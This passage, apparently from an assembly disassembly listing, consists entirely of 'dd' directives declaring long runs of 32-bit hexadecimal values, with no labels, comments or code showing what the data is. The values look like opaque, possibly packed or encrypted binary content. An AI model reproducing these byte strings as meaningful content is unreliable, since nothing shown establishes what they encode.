		dd 0A9BF04B8h, 2B8456DDh, 5F256DF9h, 0FDB6DE6Eh, 9D1302D4h
		dd 479CC7FFh, 0D809ED74h, 8FD161h, 712B7DFBh, 0D2500F06h
		dd 0E40799Ah, 0B396955Bh, 0D35D298h, 0F4F21411h, 0ECE41D89h
		dd 0BD177520h, 0BD0BB298h, 0C9D1FD6Fh, 753A9821h, 0A2548207h
		dd 91B2CC75h, 0ECB2015Eh, 6FD64A13h, 0B2D71833h, 4AA3C744h
		dd 24C9CA79h, 83AC130Dh, 0A616FCDEh, 0CF1803F7h, 122297FAh
		dd 6BBD31F9h, 965FE7D2h, 3D02FE7h, 0EAD05E5Bh, 1360FC7Dh
		dd 0BCCF593Dh, 53C85B2Dh, 0E7F0FAh, 0A099BD6Eh,	7A4D62E3h
		dd 68A6DE03h, 0FD094240h, 0BF02D8E3h, 5ED1B721h, 976AFF56h
		dd 59EDA91Fh, 9CD36934h, 0C43FC051h, 56178214h,	0BF60F856h
		dd 5B519E9Ah, 84AC6412h, 84618468h, 287BAF0Bh, 75AB5B00h
		dd 0A30FDD48h, 0A5B58938h, 0AE33452Ah, 0C209D437h, 96D9072h
		dd 0A5D6F6CAh, 0CA86EC46h, 11947400h, 41CDF0DCh, 0F6A00FE6h
		dd 3E4106ABh, 0D2936DF1h, 5651895Fh, 4ED3E12Eh,	0BADD2A80h
		dd 3FF66A6Ah, 0D2EE00AEh, 0BAA22FFh, 0F151678h,	0A552FC86h
		dd 4B346E02h, 602E5CFBh, 0DF8BD98Ah, 649C6D95h,	9565601Ch
		dd 0BFF0079Eh, 395E7218h, 2700B6D1h, 6EEEC8E7h,	0C5EC4A86h
		dd 757481FEh, 0FE202B0Bh, 4AFD9D23h, 4AE1CB2Ch,	0BA803BDAh
		dd 0F98A4F9Eh, 0AC9CC1A3h, 7DACD7D3h, 9D858358h, 7AA0E5F5h
		dd 3EC0D59Bh, 7F8229B8h, 2E41450Eh, 99DE25Fh, 58D15E10h
		dd 905B25CFh, 0CEBCE035h, 63A04B8Eh, 34E13D78h,	7343610Fh
		dd 5096250Bh, 8AAE37EBh, 0D0A060EEh, 4255FF32h,	90DB7B35h
		dd 717BDCC0h, 4A25CAF6h, 92AD66D8h, 0CE244AE2h,	734A258Ch
		dd 2547D8F1h, 8778CD7Ch, 67AAD609h, 4A6CDF51h, 95FFB04h
		dd 549299B5h, 0A9726096h, 500D2F45h, 89FA8446h,	5E5BD25h
		dd 8B64F536h, 0E38FA2ECh, 24E6CD81h, 444EE826h,	69727E9Fh
		dd 319D9051h, 71A5999Dh, 0B8485C76h, 0E8D317FFh, 2D256EF8h
		dd 0DBA79F65h, 3E150E5h, 0D599D12h, 47889AB3h, 5B6DB789h
		dd 0BBCDA57Ah, 0FC47E440h, 761896C6h, 0F4091446h, 855955B7h
		dd 0D4FF5CEBh, 4A9CDC07h, 3EF22A1Ah, 2D67DE4Eh,	434E9AF9h
		dd 8CFFF455h, 74E016F6h, 0E029A21h, 103F1697h, 9941C081h
		dd 0C18B8007h, 0F58D9895h, 0B2B32D90h, 59B93B40h, 0D1BB7001h
		dd 61064087h, 0AED1852Ah, 0E302A17Ah, 696E1BA6h, 7B630B7Dh
		dd 0F6D7D3F0h, 8816BCA1h, 0AF9BEDD6h, 0F0E1A1C0h, 7A09CF98h
		dd 5460F1D8h, 0D6804F8Ch, 2C9CD08h, 8BA21117h, 0FDB4A4h
		dd 0B6660DF9h, 0E6B4C0BAh, 42B9DE9Fh, 50052699h, 4A00AEE2h
		dd 0BEAEB108h, 0A800E747h, 0BB5C5462h, 11F51E9Eh, 10AE957h
		dd 5AD24B8Dh, 0FAD8DA39h, 5FB338CDh, 0BB4D00CBh, 4AC1A58Fh
		dd 166F6A5Eh, 4BB6EF1Fh, 907E9BA2h, 4C691910h, 0B1ED5A04h
		dd 86716B12h, 60020AA1h, 0DA1F01C6h, 0F580621Bh, 3A79F363h
		dd 0D251264Bh, 33050942h, 976B1C57h, 7B00B635h,	0FC0ADE76h
		dd 0D1FF2697h, 124DE3Ah, 0CD19AE51h, 282B5BF3h,	33D27BBDh
		dd 0F3B8DCA9h, 680BBFE0h, 80B177B3h, 0D00DDE9Eh, 26A326Eh
		dd 0AFA9B97Ch, 0F5590B57h, 0E9D33D0Eh, 0F93EB943h, 0D3649396h
		dd 2B1032C2h, 0D600F164h, 0C979B0F9h, 94C112F6h, 1F42671h
		dd 0E9E84AEFh, 1DCE2A77h, 2CD69210h, 5CCB0460h,	2B0F106Dh
		dd 0C4586361h, 8E6500AFh, 7B2E251Eh, 0E925BD2Bh, 80235B2Dh
		dd 796CB81h, 0BBF279E8h, 0BAD1CF04h, 37EE5004h,	0EDDFD92Eh
		dd 0ABF664D2h, 1923026Eh, 0D211100h, 0A3076A1Eh, 5506D28Eh
		dd 18447CCFh, 0F49D360h, 84475F27h, 0A31226CCh,	6AF81EDAh
		dd 21CC311Fh, 5EB51F27h, 261AE155h, 88FEF0B4h, 0D8F84A34h
		dd 31885BBDh, 2335218Dh, 5B738594h, 0EDDD88h, 2BD2E2F1h
		dd 1050777Ch, 80EE4838h, 0C96407B4h, 9570E64Bh,	747777C4h
		dd 951B0300h, 1CC77FF4h, 0F7A14h, 8BBFCD94h, 5F516655h
		dd 6071E41Ch, 307D965h
		dd 64661C1h, 0B83BAD90h, 0EDEB3C00h, 81687DA6h,	0CEF90B9Ch
		dd 16503002h, 4C191520h, 7AC0D461h, 48D4B4A5h, 0F7A88200h
		dd 311894DDh, 0D6D3026Dh, 615AD08Bh, 0D7911A5Ch, 5420BB02h
		dd 195C39D8h, 0A0AFF827h, 259853ABh, 16C4179Eh,	38AB302h
		dd 0C4286DBDh, 97DEE4C2h, 0CD711809h, 264451A5h, 99FB1F97h
		dd 0FDD85AD1h, 574FA69Ah, 69075F61h, 0DCF1CCh, 2A23ED0h
		dd 8BD844BCh, 0AF87A702h, 0E1BAC08Eh, 0CC2A04A7h, 0DB4BBF9Eh
		dd 0F7811F90h, 101868BEh, 866225F0h, 16521955h,	0F4FEDD3Fh
		dd 3500668Ah, 162FF63Ch, 143DD487h, 3447E925h, 0F514C84Ah
		dd 37151197h, 2BFE8B11h, 9E80FE64h, 48C5A3E0h, 5941A568h
		dd 5B86F804h, 3352A52h,	0B40F78E0h, 0C06F50EEh,	92CB953Eh
		dd 16E6617Bh, 5E57E210h, 1FFA0D88h, 7440961h, 42B9DED7h
		dd 775D372h, 0B70B6A79h, 0C6A88030h, 81F5239Eh,	8B456709h
		dd 842271F8h, 91358501h, 0A54BB9D7h, 29BD0E8Fh,	0F60B5695h
		dd 0B49B3E09h, 30971B2h, 0A133683Fh, 0B8C973C8h, 50C58A03h
		dd 0B8359A7Eh, 20F9E6h,	0B960FCF1h, 1D9FFA1Bh, 1F9F617Dh
		dd 811491FBh, 6D9D8932h, 2576E63Dh, 6C5C23B5h, 50D75B69h
		dd 1E97DDBAh, 7D6EC80Fh, 4C9B7A5h, 0B8600BB2h, 0CEE74F0Dh
		dd 2998C9B3h, 184B59B5h, 9A5B078Bh, 29278059h, 0B50F998Dh
		dd 18E4516Dh, 79574660h, 117D602h, 55272D9Dh, 0AD684EC7h
		dd 3B1916D6h, 5D8AC074h, 0EC09BFC6h, 712498ACh,	4F69444Bh
		dd 2755A989h, 5609B8F6h, 0A401F6A3h, 0F957C6E3h, 0B7311307h
		dd 23B74E2Fh, 0B8252DC4h, 0BCA6B451h, 0C106DBA0h, 0C2433A00h
		dd 0B749B908h, 0E1FF093Bh, 3B71F98Bh, 9B9D244h,	0AE0088ECh
		dd 0AC8F6917h, 0BDE6F6A5h, 3D596C09h, 8452B944h, 21AD83C0h
		dd 0D638AB84h, 0AA2DD26Dh, 46160F6Eh, 60EDF075h, 0EE79A093h
		dd 2A2B2EF8h, 96CC19BDh, 0E227125Eh, 0C7F74848h, 4EF1A675h
		dd 162EFFD7h, 0ADF9842Fh, 10C1012h, 3701BF3Ch, 0DB805B36h
		dd 0D2342A7Ah, 0A444E87h, 0EE8674ABh, 0FD00D06Eh, 509C9A9Fh
		dd 3B26F1BFh, 40B855Eh,	0DC275E24h, 477B9A02h, 77314BDAh
		dd 0D4E3FB81h, 7B4EAE5Ah, 0AEFC48DCh, 38179110h, 628F0068h
		dd 5FB5BF6Fh, 32EF9A7h,	7D8CFF03h, 0D18589E0h, 90B70F4Ah
		dd 8DAF513Eh, 0B95F9BA4h, 8C14AC0Dh, 0B7500FE6h, 15FE3F0h
		dd 3AA1D6A7h, 0B3C82F21h, 0D32001Eh, 9F08C831h,	0F35EE33Fh
		dd 816EA6F1h, 3ABAC6E8h, 6980DB9Eh, 0BFE6161Ch,	0E9DDFE08h
		dd 9ED2800Ch, 8DC7A697h, 0A4CDA509h, 597F89F6h,	402E5463h
		dd 0A60619Bh, 7036FDh, 58C95355h, 4D7893E7h, 29EA080Fh
		dd 560F4985h, 94BFE0D3h, 604B92E6h, 2D89748Ch, 8A73F806h
		dd 5E181759h, 0A4954B12h, 6E2A58E1h, 6FDC0073h,	3D476475h
		dd 0E0964E66h, 8E360F12h, 0F9122902h, 0FF6E6Bh,	57A56F8Ch
		dd 12FEA14Eh, 0BF68524Fh, 6044E745h, 68CD14AEh,	84C1B12Fh
		dd 80342E61h, 15E51981h, 0BC46800h, 60176502h, 5C50F88Ah
		dd 6608CCCAh, 0E96CBF3Bh, 843F5C10h, 807A083Bh,	0C05CE7B6h
		dd 5606C225h, 1B46D64Ch, 18297E00h, 2FD1FCACh, 0BB667B06h
		dd 95D2F799h, 0DA4DB550h, 0F2563047h, 4ADC46EFh, 0B22AB65Fh
		dd 0D608301Bh, 459E1002h, 0E0F78F3Ah, 8103392Dh, 4F612C61h
		dd 19B2DEF7h, 0A848A30h, 0CC0212B1h, 0DB6D09AFh, 7467859h
		dd 0EB92BF35h, 0B57F0E62h, 1818F1BBh, 2B971DC9h, 85F1A583h
		dd 0F0958F00h, 102C52Ch, 5FB33035h, 66BE9E5Bh, 507BF071h
		dd 20134E14h, 4E8E15F6h, 93CD5A00h, 72B7E69Eh, 0B0285B73h
		dd 24B0E54h, 922838Ah, 1EF8859Fh, 6248A6AEh, 5E1DFD18h
		dd 0A4EA714Ch, 0E7AC61B5h, 4441CF2Fh, 91A46016h, 0F2BB04FEh
		dd 0AB3AED58h, 79034E64h, 0D01CEA9Ch, 0ECD2BBE0h, 91371CF2h
		dd 839D424Fh, 0A9561E27h, 0F9526062h, 0DE1800ECh, 8ACBAEF4h
		dd 20BA9600h, 0A4525328h, 0B0AD09CDh, 5671615Bh, 84ACBB80h
		dd 7F960578h, 0DE8EB753h, 82A07A11h, 2242318Dh,	0B807B3C4h
		dd 74A9D20Eh, 71028FB8h, 5E6C2BA2h, 6DC8E092h, 65B9511h
		dd 56181C79h, 7E137B00h, 0B10B69FBh, 3B1A974Fh,	9A1C7466h
		dd 2A41F8C6h, 66391E3Ah, 5DCDA2D1h, 5A866870h, 14170C4h
		dd 7F014C0Eh, 8F25392Fh, 8BDC0828h, 9941CCCh, 1E5B2551h
		dd 0CD181859h, 2E253CE2h, 841BCA2Ch, 1BB82F74h,	0D2FBAC97h
		dd 0CD481BB3h, 0B2023E12h, 95B64BFCh, 0B9D6D3F0h, 5FA69F01h
		dd 6E91294h, 0BE7A2D10h, 2CA9FB18h, 0AE16C99Ah,	8E3700ABh
		dd 0A4DF258h, 0AD013F09h, 891519DAh, 0DB3B6AC2h, 7C86C759h
		dd 0AC5FAE00h, 0D3B1BF15h, 388B0883h, 0A84AF9BDh, 8B9AB59Bh
		dd 2D8453C9h, 6FE0FEBDh, 0AD507296h, 55FFE0A9h,	6972E1F8h
		dd 61ECA829h, 6625A126h, 12A3983Bh, 0E2611DD7h,	136B8E3Ah
		dd 2CE87CA9h, 43C7CC02h, 5D509BF9h, 0F3209090h,	5F00A47Eh
		dd 7567713Ah, 0B45D2ECh, 8A6FE66h, 0C8AB8576h, 1DC0FE78h
		dd 0F9464Ah, 890D1A3Fh,	2E4B3D8Dh, 973247C8h, 8255343Ah
		dd 20BB90Bh, 0DCDE880Fh, 5461F58Bh, 0D6C9E8B3h,	96C1CA00h
		dd 0F6E35487h, 0BEB30184h, 75BD3360h, 5FB62F30h, 16A31018h
		dd 879BE673h, 26D261ADh, 8C67742Eh, 480046CEh, 5CF7D174h
		dd 138A20Ch, 9271DF4Bh,	2EB56731h, 8A5F5A28h, 5338985Fh
		dd 5DE8F80Ah, 975B322h,	615AA48Ah, 46D6E554h, 6F1A1215h
		dd 6E3E6AE1h, 56815A58h, 8741A12Eh, 0AD0428D5h,	8C19EC72h
		dd 28342201h, 80EF0C77h, 0EE9C9CBh, 4E20F010h, 23985403h
		dd 0F0D5DFCFh, 504CD86Fh, 7FDB9461h, 9593F4C5h,	2E531661h
		dd 5B998B19h, 5A76C1DDh, 9EBE27F0h, 0F5B8AB4Bh,	5C82B3D2h
		dd 50901650h, 2380C2FCh, 824B5D2Fh, 55865900h, 0CB510289h
		dd 905B2777h, 1745B4D8h, 9EEC2FC3h, 0F77EF5FAh,	762CE61h
		dd 0B96AEDE6h, 3F5CB827h, 98014C78h, 0FC0B0EC6h, 6D24C86h
		dd 0CDADD800h, 0ACF3811Ch, 4FC90B1Bh, 54DBC083h, 0E1F8B78h
		dd 50635F0Bh, 1660DFC9h, 0B969E780h, 3595952h, 0C225BADDh
		dd 0DC4FA8C0h, 225CD632h, 9A6D75F5h, 66601A64h,	55095421h
		dd 73ACF1CFh, 147BAD25h, 2697450h, 6C787C9Eh, 7E49E375h
		dd 27643209h, 0C2944DD1h, 756BACh, 0B6B7C7D5h, 20B3B061h
		dd 0B760201h, 540F5D25h, 2BC0719Dh, 0B6B074F7h,	46982979h
		dd 9CA32D5Ah, 0A04BF64Fh, 4B49FE93h, 1DCDE08Ch,	51900412h
		dd 3F8054A8h, 0C827DD30h, 1157AE00h, 0F4592BDh,	2521DC86h
		dd 0BB00405Ch, 5624F15h, 0DC68B690h, 55C85400h,	0DC0371Bh
		dd 0E80C5847h, 115C8D3Ah, 0A8A6A9E4h, 0F8B3003Bh, 0B529F65Fh
		dd 92830919h, 459C55C4h, 95E61120h, 0A10EA564h,	60F5395Fh
		dd 0FFB70F2Dh, 0E25A965Bh, 635C2FDDh, 3551E9h, 65ED1820h
		dd 82005DC4h, 0CD7AD2ABh, 0DADF433h, 0C98531F1h, 905FC894h
		dd 80B46003h, 0EA0AB966h, 8E6CDC61h, 0BF121181h, 0B304BD60h
		dd 0BADC00D3h, 295E258Eh, 60956AB8h, 3968BB25h,	81DE324Eh
		dd 0D6E38035h, 31C47E5Ch, 428B5C2h, 0B09CAAF5h,	409511D7h
		dd 8A51805Ch, 0F76A5BD9h, 0BAC195E8h, 0DC82A212h, 0FBFA6A4h
		dd 0DB9615DDh, 500FCC0Ah, 0A20D5A09h, 13C8439h,	0AF858904h
		dd 8BB0A44Ah, 9D000911h, 222DA9DAh, 75282780h, 8920D2ACh
		dd 295F0923h, 2B224D95h, 907D70E6h, 3964B884h, 2C027858h
		dd 71E4D1EDh, 6AB8015Ch
		dd 8102FE79h, 8223EECEh, 0C1F25DEh, 0C87EB626h,	1A5FDF00h
		dd 0BF660E63h, 889D4BD9h, 0FD0BBB0Ah, 96E6B25h,	4249FE6Ch
		dd 0B1B1721h, 468DD762h, 0B4634D18h, 370EFA05h,	9A80163Dh
		dd 2CE257A9h, 630F5108h, 0D41291DCh, 13AA5B25h,	0BEB24174h
		dd 0A4D18BFCh, 98134A93h, 859460ABh, 5FE24C44h,	40A099Fh
		dd 28AA87F5h, 703C006h,	0BC7D53BBh, 0C610447Ah,	0C31E619Dh
		dd 2E1793BFh, 4602350h,	5DE9FD8Ah, 0A91604B2h, 0C065A917h
		dd 0E5EEE781h, 0AF0950E2h, 0BA045A2Dh, 3C840321h, 4AB7216Fh
		dd 27652EFAh, 187EB8Ch,	41C50563h, 20918EAEh, 0AA04143Dh
		dd 4A90990Dh, 79185F84h, 940C25C0h, 3670C02Ah, 0B8259E8Dh
		dd 122ACC09h, 0EAED662Dh, 0E704586Fh, 0A1419D23h, 2444A329h
		dd 7A23BC59h, 0D81C4D17h, 5B4BF81Bh, 1189408Ch,	1310AD8Dh
		dd 0E4A90FDDh, 0FB0458E8h, 831238B3h, 8B255CB8h, 0F24E0CD4h
		dd 9AA6EBBh, 0B9716FFh,	9DFEE4ACh, 3FD08853h, 0BEDF0492h
		dd 0AFB98E06h, 0DD56AC20h, 94464CBDh, 0C6078839h, 0B05CF6ABh
		dd 0E49939BBh, 95137295h, 600F3B9Eh, 0E44DEE81h, 0A0811DE7h
		dd 0B33D61F1h, 40AC6EB9h, 6A02EC89h, 485C477Fh,	1DE8B41h
		dd 97037DFCh, 8C0F2C38h, 4D62AC9Ch, 5A165C23h, 3950BD53h
		dd 7BF30E05h, 0CF42F5DEh, 65558F0Fh, 0C0CE0005h, 507282FAh
		dd 0C1C58502h, 0D57B4A7Fh, 0BF1F9E17h, 0C1BC2613h, 56595225h
		dd 233F8164h, 85EF071Dh, 0F61EE0DAh, 9B256D89h,	7E0049Dh
		dd 9E9030B9h, 0AD03E512h, 8C19BC59h, 8638370Eh,	0FF344206h
		dd 7032D3E1h, 410473E1h, 9EB3384Ch, 71A123B8h, 0FB9E2A04h
		dd 0D37AC080h, 0D9259D29h, 0C65D5915h, 8F83635Bh, 1D5C0DCAh
		dd 27841271h, 8771F380h, 0C1F9478Dh, 302B08BEh,	9395230Ah
		dd 0A54C16E2h, 939EA82Dh, 0BF127556h, 573BDFA4h, 95B0FB01h
		dd 0E0E6764h, 458D3CDAh, 7DC0C46Eh, 2F9D034Ah, 0D7E52905h
		dd 40C8EDADh, 0FA9C6CD1h, 97256490h, 0B322CE1Dh, 2C7F597Ah
		dd 0B59D16BEh, 7D0C4558h, 89508126h, 627BE16Ah,	0E07466CFh
		dd 465100D7h, 150AC1F6h, 2D01563Ch, 11BE7099h, 6F3F6AC6h
		dd 6A412744h, 4156ACh, 68F877A0h, 817DFCEh, 0FBF457ACh
		dd 4B16E431h, 8B4E9B54h, 0EDC60212h, 0E4375C28h, 0CF30B8F9h
		dd 23647F5h, 7F4D5F0Bh,	8F2C32C0h, 15E30949h, 0F5A90DDBh
		dd 31FD8D82h, 8D40BA55h, 0F22F9657h, 5AF88975h,	456B7ADh
		dd 8FE400DEh, 0EBC6CF1h, 8D27A7E1h, 0D69B9085h,	6FFA1C77h
		dd 0C9B740E3h, 69EA73F4h, 66F5E425h, 0C38100E0h, 64314CC5h
		dd 53950689h, 0AC9E7054h, 0AE58CA00h, 2FAFBB67h, 0E6575AFCh
		dd 646251Eh, 0BF13B955h, 3E002A46h, 5CAB744Ah, 13F02560h
		dd 962EF1Ch, 0AF445062h, 0D0EAC81Fh, 0C4DECF8Fh, 6EEF9697h
		dd 83550A15h, 7909CFDFh, 5916D50Eh, 0D481B4h, 996FD073h
		dd 0DD4F8F82h, 26C8FC4Bh, 862C3E5Bh, 0AC8800F2h, 0B3735C8Ch
		dd 81E65F2Eh, 16B45B5h,	4ED561BBh, 6913817h, 8B3B7EADh
		dd 0BCB8E979h, 80B24Fh,	6447F591h, 0A0338109h, 3EABA97h
		dd 0D5CA83AAh, 5BDA1836h, 0B860E190h, 0C4F3861Fh, 0FCE50F1Eh
		dd 26DF5032h, 5D02900h,	4217614h, 0EEA17394h, 59750BD7h
		dd 1C375861h, 0F4C86D85h, 48487CECh, 0E3E0B012h, 0BD890460h
		dd 32EE2CF9h, 90BD95Eh,	48BB5464h, 19410BDEh, 565ABF5Ch
		dd 0F7F4D4EDh, 0BDFD594Ah, 2513E986h, 3B5A9Fh, 90E58669h
		dd 0CD28FAA6h, 6101A5F0h, 0F3F26EC2h, 13799531h, 0B19B35Eh
		dd 0FE61D2B7h, 0D90BDC87h, 0D17F8777h, 8767A52Fh, 2D4C2AEh
		dd 0EE1D53E9h, 96564069h, 2DA74651h, 0E60010B7h, 892D8068h
		dd 0AFF96BB5h, 0C141E67Eh, 0DAEC0879h, 90CA02F4h, 0A47804D5h
		dd 2E650941h, 2921C8C2h, 2B068EE1h, 30E90B8Eh, 0D4129BBh
		dd 1F98827Eh, 0B64409h,	0E0D65862h, 757016EEh, 0EAB70F09h
		dd 4578715Bh, 0E7BC5D7Dh, 67256B7Eh, 566A116Ch,	0C003F033h
		dd 21A600D9h, 4731F214h, 0BB1266E0h, 0C3A69189h, 0E3FABF12h
		dd 2DA586Dh, 0A9BD23BBh, 0EBED560Ah, 4A568F62h,	8FD38160h
		dd 287513C5h, 35F48296h, 0FAFAC05Dh, 6E3EF561h,	0A82F01FFh
		dd 595297Ah, 0E0790275h, 0AB1EEDC4h, 0D5F87972h, 1B910BB5h
		dd 5369F380h, 2F14BF9Dh, 129C6FF9h, 2AAA42F8h, 96DC843Ch
		dd 78CF95C0h, 9D0B1260h, 840DF859h, 60B861D3h, 0FE880FC5h
		dd 0E05FC528h, 0DA33096Bh, 0FD6C30EFh, 9D0C8843h, 815D2AFDh
		dd 534BE777h, 71B64D85h, 645C78E2h, 34008645h, 0D8E3EB81h
		dd 8D634BAFh, 0E19F616Ah, 0D59D121Ch, 3FB81799h, 51C0889Eh
		dd 580C3217h, 0DC5AD030h, 5553C9E3h, 0D93B996Ah, 481A4A7Ah
		dd 0FD886942h, 169C2E35h, 293F4238h, 5096C08Bh,	0E6987C0Eh
		dd 6595264Dh, 0AFBF04A3h, 0C620AE59h, 3FE886E2h, 0F7006CF3h
		dd 0EED7A7DBh, 0CD046263h, 1D3977ABh, 60C92CB8h, 15486ED0h
		dd 1AD580D1h, 9E28161h,	66B5DA1Ch, 5B643A71h, 0C9B50142h
		dd 0FC0029D5h, 0E1CF39D9h, 9E206F74h, 0EA5AADh,	1B2736CAh
		dd 0E03203F9h, 80E96A3Ch, 12C25D84h, 0B059C035h, 1EB717D9h
		dd 6062E061h, 6D96B42Dh, 0BB03C0C8h, 0E114A2D7h, 10A26833h
		dd 0F6A42A81h, 0F65E085h, 0C4669783h, 0D0F0822Dh, 449A959Dh
		dd 31855682h, 0E4FBCD55h, 9EB96017h, 203AFB0Ch,	0AE380F3Fh
		dd 337C870Eh, 0D5B96095h, 9861363h, 7EEA76FFh, 0B114173h
		dd 59132C03h, 56987255h, 6E255F60h, 113CC565h, 95890415h
		dd 0DDBF2799h, 0C6F224D9h, 0DFEA83ABh, 0FC7AF256h, 5902D4CDh
		dd 8712B43Bh, 40E1F610h, 6E9E8BC1h, 83B2B607h, 0CEE39B92h
		dd 0FCBDC043h, 0E7E9255Bh, 4E48EC62h, 82BD3EF6h, 48799D84h
		dd 95DC8AA2h, 0F8FBCC9Ah, 0FD83E70h, 58A0A8F5h,	3093DDC5h
		dd 0AFB5E1CCh, 8EF8CC00h, 13872B7Bh, 0AE4507CAh, 0F1472C0Ah
		dd 3E820F90h, 2D8021CCh, 1A635002h, 0DC7949FDh,	5C3834F7h
		dd 0E1487856h, 5B277858h, 0ED97B7F8h, 0F302C199h, 3656C60Eh
		dd 3594F218h, 9610BB7h,	0F6F1AD8Dh, 39200728h, 0E1A4800Fh
		dd 6FED4AF4h, 699200A7h, 3DF62A3Ch, 33DA099Fh, 3070F89Bh
		dd 0B157AC4h, 0B1FC900Bh, 0CC2F742Ch, 0D49A9ECAh, 89073F01h
		dd 819E92CCh, 31EA68E0h, 11F40997h, 7AA12A87h, 0C2689B6Eh
		dd 43A4F09Dh, 30592FEh,	4C2D86B7h, 0C5F7548Bh, 0FF86C42Bh
		dd 88893829h, 3AC19E96h, 21352E0Dh, 2DC03B9Ah, 9B1523FEh
		dd 0D1D92512h, 8208ED08h, 0BD853151h, 815F8548h, 0A543CF05h
		dd 79AA5615h, 0DC6A6E1Fh, 27F09602h, 0B0A49FA5h, 42006F02h
		dd 26BF6283h, 7126D1A0h, 102F6250h, 0BC343A4h, 7633474Ah
		dd 72567EA9h, 74C009A7h, 4F08C43Ah, 6B1A6059h, 7F5A756Dh
		dd 0B39C4AE2h, 0F4EB8459h, 0C24DE116h, 27F03D77h, 0DAE88310h
		dd 5444162Dh, 6FEDE9C0h, 3EF27245h, 7FF0DE03h, 4087B3E3h
		dd 78BD0773h, 0A9BFC701h, 1914758h, 971E3C20h, 8BA7072Fh
		dd 0C327E5A3h, 0E6CCFA3Fh, 4BD5E017h, 421B12FAh, 0C7E5C8A2h
		dd 77F3403h, 0F06A6B49h, 2FAF4A1Bh, 0C56160CBh,	0D4800011h
		dd 56DBA227h, 0C79C91Fh, 0F6D7BF00h, 9231420h, 0F971D46Bh
		dd 0C015371h, 0B08FBDDCh, 0F83CD470h, 0F0EC4B7Ah, 734B6B39h
		dd 1C1EDFDh, 2A08359Dh,	0F33A7BDDh, 35B30F15h, 596FF26Ah
		dd 0D028A70Dh, 102BC568h, 9430EDB5h, 0BC03F413h, 6CBF254Ch
		dd 8133C02Ch, 75AC09DFh
		dd 617329E9h, 9043511h,	2532F5B5h, 85A418AAh, 0FE9070E6h
		dd 0C6165F00h, 0BF71E440h, 0E72D1689h, 9A6D3025h, 180075FBh
		dd 0B23D7B28h, 2562198h, 0BA04DF38h, 605C2566h,	0EE8FA93h
		dd 7B542ECBh, 632C5C4Bh, 0BE958529h, 0E04E13A6h, 68821F0Ah
		dd 9BBD9DFh, 390DD549h,	0E986370h, 0C4123D25h, 656AC463h
		dd 45B1122Fh, 817FC861h, 7F0C87AFh, 0F14070CAh,	5194A401h
		dd 3DED4AA1h, 8516402Eh, 47554C50h, 3BB560D2h, 25E99B21h
		dd 5790886Ah, 0D4B95F6Fh, 0D4804E0Bh, 97A7CFE3h, 41145024h
		dd 2825B529h, 550D273Eh, 8D4C0260h, 575C080Dh, 8260C4E8h
		dd 70CADA64h, 0FE480186h, 526D3610h, 0F683D04Eh, 51B26AFFh
		dd 2FEF8180h, 64B264Ch,	27236398h, 4452299Dh, 2E799551h
		dd 649A0725h, 43783527h, 9AA78F5Ah, 0ED760A09h,	4FDE4754h
		dd 8992E9B3h, 6A9D1195h, 0EBBC2929h, 0C7510606h, 2FF27A0Eh
		dd 0DAFB07BDh, 15181A79h, 46EE500Fh, 64E8ABC5h,	777800B5h
		dd 0C96C8C5Ch, 7BFECE23h, 8E469901h, 45E838F9h,	0AD177278h
		dd 2470E21Dh, 0B9847D71h, 7AAA0FA9h, 98D90049h,	9775086Eh
		dd 12879147h, 4A1E5DFh,	3AB6F7FAh, 0C63E8098h, 26C0CA44h
		dd 14FE1564h, 5A0011D1h, 2D1A5F6Ch, 7101EE55h, 3B3FA7F3h
		dd 251007E8h, 38060BEAh, 5FB7043Ah, 0F6FC4E02h,	0A39BE345h
		dd 66F985B8h, 0BBA4F8EDh, 0EEAFBECh, 89D22B04h,	53B155B5h
		dd 5F059B6Ah, 1902626Ah, 837732Fh, 0C2316AC9h, 0E816957Ah
		dd 43A0D6F8h, 8AB307C7h, 2B880F52h, 7B977014h, 0F884BEC8h
		dd 0BF880D5Bh, 0EAC2C2DEh, 63628264h, 0C2B50E7Ah, 394D7D68h
		dd 0A3A8B06Bh, 0E52809C2h, 7791502h, 0A4F8BB8Eh, 2FAB6856h
		dd 0A86F5DFCh, 5D7B033h, 68D8DB3Ah, 0DCF38012h,	18D6148Eh
		dd 7579A290h, 16E6B5CEh, 7E4D82BDh, 53055E98h, 8F9E5DCCh
		dd 0AEBF0DB0h, 5FBD2430h, 0E5FBA748h, 27195DD0h, 0FAC42056h
		dd 0B104B977h, 5FFA4476h, 8AD10ABDh, 0D101D5ACh, 0C10DC266h
		dd 3550CCF7h, 1604EF2Eh, 643F80CAh, 0B93C81C4h,	0FF5B002Fh
		dd 9A09CE1h, 779D81Eh, 9791A046h, 0D0013637h, 2C792D36h
		dd 0BF108C6Fh, 6FB16B0Bh, 10C1611Bh, 6D14392Fh,	0CFA06172h
		dd 282F081Eh, 12A03513h, 60EE11BFh, 0C0781D9Bh,	0F88B2539h
		dd 112127E4h, 0DE8A891Fh, 2345247Ah, 96CB9884h,	0D868ACC5h
		dd 4B09DF16h, 0BDD8CAAh, 44ABD7Ah, 0D88122F8h, 0DEFD8A50h
		dd 87700B53h, 989C5870h, 0EC77534Eh, 0DF244BABh, 9B1D8A05h
		dd 0F0761BB2h, 0D6FF1D26h, 1F6F024Dh, 327D028Fh, 513B5458h
		dd 0D7970BFh, 450443Bh,	2D728C52h, 884A3BADh, 27002667h
		dd 36162C4Bh, 1457A75Bh, 9E525020h, 51310F0Bh, 253F2A7Ch
		dd 8450748Bh, 8C563C4Ah, 0F700CEDFh, 0BFEBA633h, 2486416Dh
		dd 48826158h, 0B1503CD1h, 0E8DD25EBh, 2288F146h, 59017F66h
		dd 0EC11C499h, 7A2193AEh, 0F4F9C93Dh, 0EA097B9Fh, 77018EE9h
		dd 0D10552BDh, 0D0D0F065h, 971996B1h, 0CD90CB8h, 25BB6680h
		dd 10E43050h, 0EAD16D95h, 0F2BF12BFh, 94F6972Dh, 948E83B5h
		dd 0AC1610FBh, 70AD305Dh, 7D1043D4h, 12C4807h, 24BD313Dh
		dd 1C690689h, 0ED0002B8h, 432C4657h, 9D0624Ch, 9CB7F544h
		dd 46D62F5Ch, 27424814h, 800154D8h, 9CE77A9h, 3017BB96h
		dd 0F81B1A38h, 6EBECC22h, 2E1C1732h, 33B788ABh,	0EE1BD10h
		dd 2521AC4Eh, 0A034EE10h, 4AB79DCh, 189F3D68h, 0FE18C288h
		dd 0C2028974h, 0E0780664h, 95237D3Ah, 35A42753h, 3458D511h
		dd 105289C7h, 5DFB828Dh, 0FEFBF13h, 55DE4449h, 0B74C7618h
		dd 3AA7881Eh, 0DA58E680h, 9490C566h, 5C1F145Eh,	9D2B4B72h
		dd 55026FB2h, 5F618A0Bh, 3702F337h, 5CE4CF80h, 8B025A66h
